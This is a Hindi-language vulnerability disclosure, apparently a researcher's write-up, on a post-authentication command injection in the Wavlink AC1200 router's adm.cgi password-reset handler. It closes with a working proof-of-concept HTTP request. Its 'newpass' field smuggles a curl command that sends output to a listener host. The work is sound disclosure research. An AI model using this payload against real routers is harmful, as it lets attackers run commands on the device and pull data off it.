
फर्मवेयर संस्करण M32A3_V1410_230602 और M32A3_V1410_240222 वाला Wavlink AC1200 पासवर्ड रीसेट करते समय प्रमाणीकरण के बाद कमांड इंजेक्शन के लिए असुरक्षित है। यह भेद्यता विशेष रूप से "adm.cgi" बाइनरी के "set_sys_adm" फ़ंक्शन में पाई जाती है, और उपयोगकर्ता द्वारा प्रदान किए गए "newpass" फ़ील्ड के अनुचित सैनिटाइज़ेशन के कारण है।
हाल ही में Wavlink AC1200 (मॉडल: WL-WN532A3) के लिए सुरक्षा अनुसंधान के दौरान, "/cgi-bin/adm.cgi" एंडपॉइंट में एक प्रमाणीकरण-पश्चात कमांड इंजेक्शन भेद्यता पाई गई। यह भेद्यता दुर्भावनापूर्ण अभिनेताओं को, जिन्होंने राउटर के क्रेडेंशियल्स से समझौता किया है, मनमाने शेल कमांड चलाने में सक्षम बना सकती है। इस भेद्यता के लिए एक CVE नंबर आवंटित होने की प्रतीक्षा में है।
Wavlink AC1200 राउटर प्राप्त करने पर, लोड किए गए फर्मवेयर को 'M32A3_V1410_230602' के रूप में पहचाना गया। हालांकि, यह विशिष्ट फर्मवेयर संस्करण आधिकारिक Wavlink सहायता वेबसाइट के माध्यम से उपलब्ध नहीं था। Wavlink ने केवल एक फर्मवेयर संस्करण, M32A3_V1410_240222 प्रदान किया, जो लगभग आठ महीने अधिक नया है। विश्लेषण के दौरान, नए उपलब्ध फर्मवेयर पर शोध करने का निर्णय लिया गया, साथ ही पुराने संस्करण पर किसी भी भेद्यता का शोषण करने का प्रयास किया गया ताकि यह पुष्टि हो सके कि पहचानी गई कोई भी भेद्यता फर्मवेयर के दोनों संस्करणों को प्रभावित करती है या नहीं। इससे डिवाइस से मैन्युअल रूप से फर्मवेयर निकालने की आवश्यकता भी समाप्त हो गई। रूट फाइल सिस्टम को निकालना केवल 'binwalk' की निकालने की कार्यक्षमता का उपयोग करके किया गया था। M32A3_V1410_240222 फर्मवेयर निम्नलिखित लिंक से डाउनलोड के लिए उपलब्ध है: https://docs.wavlink.xyz/Firmware/fm-532a3/

प्रारंभिक शोध कमांड इंजेक्शन के लिए हमले की सतह की पहचान करने पर केंद्रित था। जबकि system, popen, और सिस्टम कमांड चलाने के लिए विभिन्न आयातित सहायक कार्यों के कई कॉल किए गए थे, उनमें से कई केवल पूर्व-निर्मित बैश स्क्रिप्ट के कॉल थे जिनमें इंजेक्शन संभव नहीं था। हालांकि, /etc_ro/lighttpd/www/cgi-bin/adm.cgi के भीतर set_sys_adm फ़ंक्शन में system के एक कॉल ने तुरंत संदेह पैदा किया, क्योंकि यह sprintf का उपयोग करके स्वरूपित एक char array पास कर रहा था। आगे के निरीक्षण पर, यह निर्धारित किया गया कि फ़ंक्शन उपयोगकर्ता द्वारा प्रदान किए गए पासवर्ड के इनपुट को ; वर्ण की तलाश करके साफ करने का प्रयास करता है। हालांकि, यह सैनिटाइज़ेशन अन्य कमांड इंजेक्शन तकनीकों के लिए जिम्मेदार नहीं है।
नीचे दी गई छवि set_sys_adm के डिसअसेंबली को दर्शाती है। इस फ़ंक्शन के विश्लेषण में सहायता के लिए कुछ वेरिएबल नाम बदल दिए गए हैं। छवि से, आप देख सकते हैं कि फ़ंक्शन लाइन 40 पर एक वेब अनुरोध से password फ़ील्ड प्राप्त करता है, फिर यह सुनिश्चित करता है कि यह न तो NULL है, इसमें अर्धविराम (;) है, या लाइन 58-60 पर पहले से संग्रहीत पासवर्ड के समान मान है। यह मान फिर एक sprintf कॉल में पास किया जाता है जो इस प्रकार एक कमांड बनाता है: echo "<username>:<password>" > /etc/lighttpd.user। यह स्वरूपित स्ट्रिंग तुरंत system के कॉल में पास कर दी जाती है।

यह एक शानदार खोज थी, लेकिन यह पता लगाने का समय था कि वेब पोर्टल से इस भेद्यता तक कैसे पहुंचा जा सकता है। जल्दी ही पहचान लिया गया कि यह फ़ंक्शन "लॉगिन पासवर्ड" पृष्ठ से पासवर्ड रीसेट करते समय कॉल किया जाता है।

इस वेब पेज की पहचान करने के बाद, HTTP POST अनुरोध Burp Suite के साथ कैप्चर किया गया। अनुरोध इस प्रकार दिखता है:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=12980
Accept-Encoding: gzip, deflate, br
Cookie: session=420022404
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello&NEWPASS2=hellohello
अब हाथ में कमांड इंजेक्शन भेद्यता को समझने और यह पहचानने के बाद कि भेद्यता कहाँ से सुलभ है, शोषण का प्रयास करने का समय था। राउटर को एक netcat लिसनर पर curl अनुरोध करने के लिए मजबूर करने के लिए निम्नलिखित अनुरोध भेजा गया, साथ ही User Agent फ़ील्ड के माध्यम से डेटा बाहर निकाला गया। URL-एन्कोडिंग से पहले और अनुरोध में रखने से पहले जो कमांड चलाने का प्रयास किया जा रहा है, वह इस प्रकार दिखता है: curl http://192.168.1.6:4567/ -A $(pwd)। HTTP POST अनुरोध में रखा गया कमांड इस प्रकार दिखता है:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=76755
Accept-Encoding: gzip, deflate, br
Cookie: session=1783394974
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello\"+%26%26+curl+http%3a//192.168.1.6%3a4567+-A+$(pwd)&NEWPASS2=hellohello
अनुरोध भेजने के बाद हमें पुष्टि मिलती है कि भेद्यता शोषण योग्य है।
